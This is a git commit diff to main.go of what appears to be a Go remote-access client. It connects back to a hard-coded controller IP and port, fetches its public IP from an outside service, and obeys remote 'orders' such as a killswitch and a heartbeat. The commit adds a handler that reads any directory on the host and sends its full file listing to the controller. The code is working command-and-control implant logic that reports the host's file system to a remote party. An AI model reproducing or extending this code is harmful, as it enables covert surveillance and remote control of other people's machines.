Allow sending file listing of any folder
This commit is contained in:
parent
270d4c5da4
commit
ac188a4dae
32
main.go
32
main.go
|
@ -19,7 +19,7 @@ var (
|
||||||
RemoteIP string = "192.168.1.181"
|
RemoteIP string = "192.168.1.181"
|
||||||
RemotePort string = "1302"
|
RemotePort string = "1302"
|
||||||
Remote_IP_Requester string = "https://ip.bulgariu.xyz"
|
Remote_IP_Requester string = "https://ip.bulgariu.xyz"
|
||||||
TimeoutRate time.Duration = 5
|
retryRate time.Duration = 5
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
@ -28,7 +28,7 @@ func main() {
|
||||||
if err := start(); err != nil {
|
if err := start(); err != nil {
|
||||||
log.Print(err)
|
log.Print(err)
|
||||||
}
|
}
|
||||||
time.Sleep(time.Second * TimeoutRate)
|
time.Sleep(time.Second * retryRate)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -52,7 +52,7 @@ func start() error {
|
||||||
}
|
}
|
||||||
|
|
||||||
func getIP() (string, error) {
|
func getIP() (string, error) {
|
||||||
res, err := http.Get("https://ip.bulgariu.xyz")
|
res, err := http.Get(Remote_IP_Requester)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("Error happened GETting IP: %v\n", err)
|
log.Printf("Error happened GETting IP: %v\n", err)
|
||||||
return "", nil
|
return "", nil
|
||||||
|
@ -126,6 +126,10 @@ func awaitInstructions(conn net.Conn) error {
|
||||||
///////////////////////////////
|
///////////////////////////////
|
||||||
case inst.IsKillswitch == true:
|
case inst.IsKillswitch == true:
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
|
///////////////////////////////
|
||||||
|
case inst.IsListFiles == true:
|
||||||
|
listFiles(conn, inst.Path)
|
||||||
|
///////////////////////////////
|
||||||
default:
|
default:
|
||||||
sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
|
sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
|
||||||
}
|
}
|
||||||
|
@ -133,6 +137,28 @@ func awaitInstructions(conn net.Conn) error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func listFiles(conn net.Conn, rpath string) {
|
||||||
|
path := strings.TrimRight(rpath, "/") + "/"
|
||||||
|
if rpath == "/" {
|
||||||
|
path = "/"
|
||||||
|
}
|
||||||
|
list, _ := os.ReadDir(path)
|
||||||
|
|
||||||
|
newList := FileList{}
|
||||||
|
for _, v := range list {
|
||||||
|
item := Item{
|
||||||
|
Name: v.Name(),
|
||||||
|
FullPath: path + v.Name(),
|
||||||
|
IsFolder: v.IsDir(),
|
||||||
|
}
|
||||||
|
newList.File = append(newList.File, item)
|
||||||
|
}
|
||||||
|
sendMessage(Response{
|
||||||
|
Successful: true,
|
||||||
|
FileList: newList,
|
||||||
|
}, conn)
|
||||||
|
}
|
||||||
|
|
||||||
func Heartbeat(conn net.Conn) error {
|
func Heartbeat(conn net.Conn) error {
|
||||||
resp := Response{Successful: true, Message: "PONG"}
|
resp := Response{Successful: true, Message: "PONG"}
|
||||||
err := sendMessage(resp, conn)
|
err := sendMessage(resp, conn)
|
||||||
|
|
Loading…
Reference in New Issue